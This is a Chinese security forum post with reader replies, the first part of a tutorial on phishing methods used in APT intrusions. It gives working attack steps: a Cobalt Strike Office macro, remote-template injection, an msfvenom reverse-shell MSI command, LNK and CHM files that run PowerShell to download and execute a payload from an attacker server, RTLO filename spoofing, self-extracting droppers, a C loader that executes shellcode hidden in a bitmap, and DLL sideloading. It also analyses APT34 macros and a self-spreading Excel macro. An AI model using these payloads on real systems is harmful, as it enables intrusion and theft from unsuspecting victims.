首页
论坛
课程
招聘
[基础知识] [原创]没有不上钩的鱼儿(上)_常用钓鱼手法
2021-4-14 20:38 4640

[基础知识] [原创]没有不上钩的鱼儿(上)_常用钓鱼手法

2021-4-14 20:38
4640

一、概述
APT(Advanced Persistent Threat,高级持续性威胁)是在网络空间上常见的攻击事件,具有攻击者长期持续对特定目标进行精准打击的特性。APT 攻击入侵的方式主要有:鱼叉式钓鱼、IM、水坑攻击、钓鱼网站、1/N day 漏洞、0 day 漏洞和物理接触。入侵包括载荷投递和突破防御两个阶段,各种入侵方式的成本如下图:

 

处于金字塔底层的是鱼叉式钓鱼和水坑攻击,它是最常见、入侵成本最低的攻击方式。攻击者常常以鱼叉邮件做为攻击入口,精心构造邮件标题、正文和附件。水坑攻击则是侵入网站,加入恶意 JS 伪装更新,或是伪造钓鱼网站一步步窃取用户隐私。金字塔往上则是针对边界的渗透攻击。再往上是操作系统漏洞、网络组件漏洞,以及 office,Adobe等应用漏洞利用。再往上则是供应链攻击,如驱动人生挖矿、xshell、xcode、华硕软件更新劫持等事件。顶端则是物理接触,如闻名的震网。

 

可见APT常用攻击手法是多变的,本文会具体分三个部分来浅析各种常见的攻击手法:
1、 常见钓鱼手法
1.1、 常规的cs宏钓鱼
1.1.1、 宏钓鱼操作手法
1.1.2、 APT34的word宏分析
1.2、 利用docx文档远程模板运行宏
1.3、 excel宏
1.3.1、excel宏操作手法
1.3.2、感染型的excel样本宏分析
1.4、 lnk 快捷方式
1.5、 CHM电子书
1.6、 替换图标及RTLO
1.7、 rar解压执行
1.8、 shellcode图片隐写
1.9、 CS鱼叉
1.10、 白加黑
2、 那些年的漏洞
a) Office类漏洞
b) Adobe类漏洞
c) 浏览器类漏洞
d) 其他漏洞
3、 钓鱼框架使用与分析
a) Gophish
b) SET

 

二、常见的钓鱼手法
2.1 常规的cs宏钓鱼
2.1.1 宏钓鱼操作手法
依次点击Attacks->Packages->MS Office Macro:
选择所用的监听器:

选择好监听器后,copy Macro复制宏:

Word打开创建宏的面板:

把cs的宏复制进去,注意需要选择Auto_Open,这里顺带解释下复制黏贴这段宏代码的含义,首先定义PROCESS_INFORMATION、STARTUPINFO结构体:

所需要用到的几个函数CreateRemoteThread、VirtualAllocEx、WriteProcessMemory、CreateProcessA:

接着是shellcode部分,shellcode功能就是下载beacon.dll反射执行:

最后是主要的操作,把shellcode远程注入rundll32.exe再执行:

Ctrl+s保存,word文档另存为docm格式,然后双击打开该文档,目标上线,。

注意,宏里的myArray里面的shellcode要进行免杀处理,不然会被杀软查杀。

 

2.1.2 APT34的word宏分析
2.1.2.1分析宏
先用oledump.py把文档中的宏dump下来:
对文档作基本分析,显示文件中的stream数据,有17段,标记‘m’则有VBA宏。

-s段号,-v解压,该命令表示解压全部段的宏

 

宏主要内容如下:

宏功能比较清晰:
1、读取了表格1行、25列和1行、26列的内容;
2、创建了Scripting.FileSystemObject和WScript.Shell对象;
3、获得系统环境变量%PUBLIC%路径,并拼接字符串,cmd1内容为用powershell把第一步读取到的内容base64解码后,分别写入%public%/Library/fireeye.vbs、%public%/Library/fireeye.vbs中,Cmd2内容为创建名为GoogleUpdatesTaskMachineUI每隔三分钟执行%public%/Library/fireeye.vbs的计划任务;
4、FileSystemObject创建目录%PUBLIC%/Libarary/up、dn、tp;
5、执行cmd命令。

 

2.1.2.2分析解密出来的fireeye.vbs:
从服务器下载文件并保存再%public%\Librarise\dn目录,文件名从响应头的Content-Disposition字段获得:

 

从服务器下载文件,保存在%public%\Librarise\up目录并执行,把执行结果base64编码后传回服务器后自删除:

 

执行fireeye.ps1

 

2.1.2.3分析fireeye.ps1行为:
该脚本主要通过DNS通信,原理是将子域名的A记录解析到不同IP地址,首先生成不同的子域名:

再通过拼接不同的子域名获取到对应IP地址(数据):

对返回的IP地址作解析:33.33开头则后面两字节作文件名,并设置flag ;35.35.35.35则结束会话

当flag为1,则把数据写入文件:

主体流程如下:

 

2.2 利用docx文档远程模板运行宏
创建宏方式与2.1的一致,所得的docm模板复制到http服务器上:

开启http服务器:


新建文档加载相应的模板:

然后保存,并把docx后缀名修改为zip:

解压后找到\word_rels\settings.xml.rels文件中的target标签,该标签目前表示加载本地的宏模板:

把target改为服务器上的dotm文件:

 

2.3 excel宏
2.3.1 excel宏操作手法
制作msi文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f msi -o 1.msi
建立监听:

 

新建xlsx文件,在sheet表格处,右击插入宏:

宏内容,这里可以隐藏宏内容:

然后另存为xlsm格式。再打开文档,启动宏,反弹已执行:

 

2.3.2感染型的excel样本宏分析
先打开文档analt+f11查看宏,当文档打开先后调用d2p(),anthorize()两个函数:

 

查看d2p()函数,该函数主要作用在C:\Users\kent\AppData\Roaming\Microsoft\Excel\XLSTART路径下创建anthorization.xls文档,并复制该样本代码的前100行到anthorization.xls中,再在100行后面添加红框代码,最用调用Workbooks.open自启动感染所有打开的excel文档。

 

继续看anthorization()函数,先用GetObject("winmgmts:\.").instancesof("Win32_Process")获取系统所有进程信息,并判断iexplore.exe是否在进程列表;如果不再进程列表则先打开office网站;如果在进程列表则用隐藏方式打开2345网站:

 

打开的ie进程:

窗口句柄:

 

再来查看生成的anthorization.xls文档:

 

打开anthorization.xls文档,查看宏,先后调用runtimer()、anthorize()函数:

 

跟进runtimer函数,里面调用p2dd()函数:

再跟进p2dd()函数,该函数用于感染其他打开的文档,在 VBE 窗口操作打开ThisWorkbook宏,如果存在update等相关关键字则把原始代码删除,后面再写入该样本前100行代码,并拼接红框代码:

 

查看authorize()函数,里面调用authorization()函数,authorization()该函数功能已讲过,不再赘述,

 

被感染的excle文档与anthorization.xls文档ThisWorkbook宏代码一致,也不再赘述。

 

2.4 lnk 快捷方式
依次点击Attacks->Packages->HTML Application:

选择好listener和mothod后,这里的method选择powershell方式,然后生成相应ps1脚本,再把脚本放在相应的http服务器上,也可以用cs的host a file功能:

然后新建快捷方式,选择好相应的程序,填入相应的目标地址:

目标地址如下:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.202.131:8080/payload.ps1')
可以更改图标增加迷惑性:

执行上线:

 

2.5 CHM电子书
这种后门是较为隐秘的后门,先新建文本,再复制下面的代码到文本中:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec

 

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

 

<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.202.131:8080/payload.ps1')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>

 

<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

 

然后把文本另存为html格式,ANSI编码。
接着使用EasyCHM制作相应的CHM电子书,打开EasyCHM后,依次点击新建->浏览->选择html文件所在所在的目录:

点击编译,生成CHM电子书。
双击运行电子书,运行上线:

 

2.6替换图标及RTLO
这种替换执行程序图标外加上RTLO这手法挺常见的,蓝莲花等组织也有用过,使用Restorator工具可以轻松地替换掉图标。

被替换掉图标的程序:

 

RTLO(Right-to-Left Override),是一个微软的中东Unicode字符,使电脑将任意语言的文字内容按倒序排列,最初是用来支持一些从右往左写的语言的文字。

Artifact.exe利用RLO后名字改为artfactexe.mp4

执行上线:

 

2.7 rar解压执行
Rar解压执行这种方式可以把两个不同的文件捆绑在一起,然后利用winrar解压执行,但免杀效果好像挺一般。
同时选中两个文件,将其添加到压缩包,并勾选创建自解压格式压缩文件:

依次点击高级->自解压选项->常规,填入相应的解压路径:

点击设置,填入需要运行的程序:

点击模式选项卡,选择全部隐藏:

点击更新选项卡,选择解压并更新文件和覆盖所有文件:

最后得到exe压缩包:

执行压缩包程序上线:

  1. 8 shellcode图片隐写
    该手法较为常见,可以把有代码的图片放在本地或者网上来加载或通信。使用https://github.com/Mr-Un1k0d3r/DKMC 该项目把shellcode隐写到图片中。
    先用python dkmc.py,运行项目,然后使用sc命令再用set source shellcode.txt设置shellcoe文本或使用gen命令再使用set shellcode设置具体的shellcode,再run运行得到插入shellcode的图片:

使用加载器读取图片,执行shellcode,加载器使用平时读取文件的加载器就可以:

 

#include <stdio.h>

 

#include <windows.h>

 

int main(int argc, char* argv[]) {
HANDLE hFile = CreateFile("D:\out.bmp", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Error");
return -1;
}
DWORD dwSize;
dwSize = GetFileSize(hFile, NULL);
LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL)
{
printf("Error");
return -1;
}
RtlZeroMemory(lpAddress, dwSize);
DWORD dwRead;
ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);

1
2
3
4
5
6
system("pause");
__asm {
    call lpAddress;
}
_flushall();
return 0;

}
执行上线:

 

这里解释这个项目的原理:
项目把shellcode保存在bmp文件的后面,0x42与0x4d是无关紧要的字节码,

然后跳到原来图片文件的尾部,开始执行shellcode。

 

2.9 CS鱼叉
依次点击Attacks->Spear Phish,根据需要依次填入相应的信息:

Target是需要发送到标的邮箱地址,格式为,中间为tab键:
123456@qq.com name
Tempalte是邮件的模板,打开邮件原文,再右键另存为:

Attachment是索要添加的附件;
Embed URL是邮件里的链接点击后所要跳转的URL;
Mail Server是 邮件的SMTP设置,需要设置好;
Bounce To是邮件内显示的发送人;
当东西设置好后,点击send,qq邮箱收到相应的邮件:

 

2.10 白加黑
白加黑,该手法简单来说就是一个白名单的exe程序在动态加载dll时,由于没有对dll进行安全校验,导致加载了同目录下攻击者所创建的恶意dll,因为该手法免杀效果良好,所以一直以来都比较常用。这里用网上一个实例来加以说明:

这里有1.exe和wwlib.dll,其中1.exe是带有微软签名信息的程序,所以1.exe是不会报毒的。

而在1.exe中,函数sub_30001573()中加载wwlib.dll,并调用了dll中FMain导出函数:

同目录下Wwlib.dll中的FMain()导出函数为攻击者所实现的相关攻击操作:

 

三、阶段总结
常用的钓鱼手法还有很多,只要思路够骚,没有目标不上钩,这次的常用手法就写到这里,下次继续写所遇到的漏洞和框架浅析,谢谢大家的观看。

 

参考链接:
https://paper.seebug.org/1132/
https://www.moonsec.com/
https://bbs.pediy.com/thread-262161.htm


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

收藏
点赞13
打赏
分享
最新回复 (15)
雪    币: 527
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
GeaC 活跃值 2021-4-15 09:33
2
0
很全面,支持了
雪    币: 1757
活跃值: 活跃值 (343)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
木志本柯 活跃值 2021-4-15 09:39
3
0
666
雪    币: 713
活跃值: 活跃值 (384)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
欧阳休 活跃值 2021-4-15 10:39
4
0
office软件、乱七八糟的软件全放虚拟机里,虚拟机系统再安装两三个安软,高级防火墙出入默认都阻止!!!联网动作通过代理服务器全程监控。
雪    币: 2199
活跃值: 活跃值 (624)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Genes 活跃值 2021-4-15 13:40
5
0
很全。鸡哥牛啤。。。
雪    币: 4688
活跃值: 活跃值 (3131)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
快乐鸡哥 活跃值 3 2021-4-15 19:52
6
0
谢谢老哥支持,互相学习
雪    币: 4688
活跃值: 活跃值 (3131)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
快乐鸡哥 活跃值 3 2021-4-15 19:52
7
0
雪    币: 260
活跃值: 活跃值 (396)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_0xC05StackOver 活跃值 2021-4-15 21:30
8
0
每天问一句 鸡哥今天来我这了嘛~!
雪    币: 4688
活跃值: 活跃值 (3131)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
快乐鸡哥 活跃值 3 2021-4-15 22:49
9
0
wx_0xC05StackOver 每天问一句 鸡哥今天来我这了嘛~!
老铁,别闹
雪    币: 137
活跃值: 活跃值 (426)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ogli324 活跃值 2021-4-16 14:10
10
0
鸡哥好~
雪    币: 15653
活跃值: 活跃值 (15235)
能力值: (RANK:75 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2021-4-16 16:23
11
0
感谢分享!
雪    币: 432
活跃值: 活跃值 (371)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
xss 活跃值 4 2021-4-18 09:35
12
0
RTLO这个挺有意思的,其它还好
雪    币: 3
活跃值: 活跃值 (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ayanerie 活跃值 2021-4-19 09:45
13
0
很精彩
雪    币: 8667
活跃值: 活跃值 (427)
能力值: ( LV5,RANK:69 )
在线值:
发帖
回帖
粉丝
飘零星夜 活跃值 2021-4-19 13:50
14
0
感谢分享,能转帖吗??
雪    币: 4688
活跃值: 活跃值 (3131)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
快乐鸡哥 活跃值 3 2021-4-19 15:17
15
0
飘零星夜 感谢分享,能转帖吗??
带出处即可
雪    币: 0
活跃值: 活跃值 (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
裂金之主 活跃值 3天前
16
0
楼主威武
游客
登录 | 注册 方可回帖
返回